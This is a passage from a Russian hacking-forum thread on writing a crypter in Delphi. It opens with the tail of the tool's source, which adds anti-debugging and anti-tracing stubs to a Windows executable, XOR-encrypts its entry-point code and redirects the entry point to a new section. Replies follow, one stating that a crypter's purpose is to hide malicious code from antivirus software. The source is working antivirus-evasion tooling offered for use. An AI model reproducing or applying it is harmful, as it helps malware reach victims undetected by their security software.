
{ Записываем антиотладочную сигнатуру }
WriteFile(FHandle, AntiDebugSign, SizeOf(AntiDebugSign), dwTemp, nil);
{ Записываем антитрассировочную сигнатуру }
WriteFile(FHandle, AntiTraceSign, SizeOf(AntiTraceSign), dwTemp, nil);

{ Вычисляем диапазон адресов для шифровки байтов на OEP }
EP_XorByte:= Random($FF)+1; // случайный XOR байт
EP_StartOffset:= ImageNtHeaders.OptionalHeader.ImageBase +
ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
EP_EndOffset:= EP_StartOffset + $FF;
if EP_EndOffset > EndOfCodeSection then EP_EndOffset:= EndOfCodeSection;

FillAddress(@DecryptSign, 1, EP_StartOffset);
DecryptSign[6]:= EP_XorByte; // XOR байт
FillAddress(@DecryptSign, 14, EP_EndOffset);

{ Записываем сигнатуру расшифровки }
WriteFile(FHandle, DecryptSign, SizeOf(DecryptSign), dwTemp, nil);

{ записываем прыжок на OEP( оригинальная точка входа ) }
// B8 xx xx xx xx MOV EAX,xxxxxxxx
// FF E0 JMP EAX
B:= $B8;
WriteFile(FHandle, B, SizeOf(B), dwTemp, nil);
I:= ImageNtHeaders.OptionalHeader.ImageBase +
ImageNtHeaders.OptionalHeader.AddressOfEntryPoint;
WriteFile(FHandle, I, SizeOf(I), dwTemp, nil);
W:=$E0FF;
WriteFile(FHandle, W, SizeOf(W), dwTemp, nil);

I:= SetFilePointer(FHandle, 0, nil, FILE_CURRENT);

{ Шифруем свой собственный код }
B:= SD_XorByte;
J:= SD_EndOffset - SD_StartOffset;
Dec(SD_StartOffset, ImageNtHeaders.OptionalHeader.ImageBase);
SetFilePointer(FHandle, RVAToOffset(SD_StartOffset, NewSectionRVA,
NewSectionOffset), nil, FILE_BEGIN);
for I:= 1 to J do
begin
ReadFile(FHandle, X, SizeOf(X), dwTemp, nil);
W:= X;
X:= X xor B;
B:= W;
SetFilePointer(FHandle, -1, nil, FILE_CURRENT);
WriteFile(FHandle, X, SizeOf(X), dwTemp, nil);
end;

{ Шифруем байты на OEP }
B:= EP_XorByte;
J:= EP_EndOffset - EP_StartOffset;
SetFilePointer(FHandle, EntryPointOffset, nil, FILE_BEGIN);
for I:= 1 to J do
begin
ReadFile(FHandle, X, SizeOf(X), dwTemp, nil);
W:= X;
X:= X xor B;
B:= W;
SetFilePointer(FHandle, -1, nil, FILE_CURRENT);
WriteFile(FHandle, X, SizeOf(X), dwTemp, nil);
end;

{ Устанавливаем EntryPoint в начало нашей секции }
ImageNtHeaders.OptionalHeader.AddressOfEntryPoint: = NewSectionRVA;

{************************************************* ***************************}

{ Записываем новый PE-заголовок }
SetFilePointer(FHandle, PEHeaderOffset, nil, FILE_BEGIN);
WriteFile(FHandle, ImageNtHeaders, SizeOf(ImageNtHeaders), dwTemp, nil);

Write('File successfully protected');
Result:= True; // все готово!
Quit:
CloseHandle(FHandle);
end;

var
FileName: string;
dwFlags: DWORD;

procedure GetParams;
var
I: Integer;
begin
dwFlags:= PROTECTION_FLAG_SAVEOVERLAY or PROTECTION_FLAG_MAKEBACKUP;
for I:= 2 to ParamCount do
begin
if UpperCase(ParamStr(I)) = '-B' then
if (dwFlags and PROTECTION_FLAG_MAKEBACKUP <> 0) then
Dec(dwFlags, PROTECTION_FLAG_MAKEBACKUP);
if UpperCase(ParamStr(I)) = '-O' then
if (dwFlags and PROTECTION_FLAG_SAVEOVERLAY <> 0) then
Dec(dwFlags, PROTECTION_FLAG_SAVEOVERLAY);
end;
end;

begin
SetErrorMode(SEM_FAILCRITICALERRORS);
Writeln(#10#13, 'ProtExample', #10#13);
if ParamCount > 0 then
begin
FileName:= ParamStr(1);
GetParams;
Randomize;
ProtectFile(FileName, dwFlags);
end else begin
Writeln('Usage: ProtExample [InputFile] [Options]');
Writeln('');
Writeln('Options:');
Writeln(' -b don''t create backup file (default on)');
Writeln(' -o don''t save overlay (default on)');
end;
end.
  Ответить с цитированием
Старый 09.01.2012, 14:41   #2
 Разведчик
Аватар для SG552
 
SG552 на правильном пути
Регистрация: 26.12.2010
Сообщений: 11
Популярность: 26
Сказал(а) спасибо: 1
Поблагодарили 9 раз(а) в 7 сообщениях
 
По умолчанию Re: Пишем криптор на Delphi (+ исходник криптора)

А что это даёт?
  Ответить с цитированием
Старый 09.01.2012, 15:47   #3
 Разведчик
Аватар для shunkazami166
 
shunkazami166 никому не известный тип
Регистрация: 04.01.2012
Сообщений: 3
Популярность: 12
Сказал(а) спасибо: 0
Поблагодарили 1 раз в 1 сообщении
 
По умолчанию Re: Пишем криптор на Delphi (+ исходник криптора)

это блокирует комп,и будет просить чтобы вы отправили смс на какойто номер и они вам вышлют код,вы введёте этот код на компе и он разблокируется(комп),я один раз попался на криптор но без смс разблокировал комп,
\автор ты хочешь сказать что всё это ты сам написал?Копипаст

Добавлено через 48 минут
Полностью копирован [Ссылки могут видеть только зарегистрированные пользователи. ] или [Ссылки могут видеть только зарегистрированные пользователи. ] автора в бан темку в топку

Последний раз редактировалось shunkazami166; 09.01.2012 в 16:35. Причина: Добавлено сообщение
  Ответить с цитированием
Старый 27.08.2013, 15:22   #4
 Разведчик
Аватар для mas111
 
mas111 никому не известный тип
Регистрация: 06.07.2013
Сообщений: 0
Популярность: 10
Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
 
Talking Re: Пишем криптор на Delphi (+ исходник криптора)

Цитата:
Сообщение от shunkazami166Посмотреть сообщение
это блокирует комп,и будет просить чтобы вы отправили смс на какойто номер и они вам вышлют код,вы введёте этот код на компе и он разблокируется(комп),я один раз попался на криптор но без смс разблокировал комп,
\автор ты хочешь сказать что всё это ты сам написал?Копипаст

Добавлено через 48 минут
Полностью копирован [Ссылки могут видеть только зарегистрированные пользователи. ] или [Ссылки могут видеть только зарегистрированные пользователи. ] автора в бан темку в топку

Ламерка, ты почему такой самоуверенный? Ты даже не знаешь что такое криптор, криптор предназначен для скрытия вредоносного кода от антивирусов. Юзай поисковики яндекс и гугл
  Ответить с цитированием
Ответ


Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход

Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
[Статья] Пишем брутфорс [Delphi] ReAct1[on] Pascal/Delphi 1 16.11.2012 19:34
[Статья] Пишем свой криптор Хаддан Pascal/Delphi 0 02.12.2010 20:52

Заявление об ответственности / Список мошенников

Часовой пояс GMT +4, время: 09:56.

Пишите нам: [email protected]
Copyright © 2024 vBulletin Solutions, Inc.
Translate: zCarot. Webdesign by DevArt (Fox)
G-gaMe! Team production | Since 2008
Hosted by GShost.net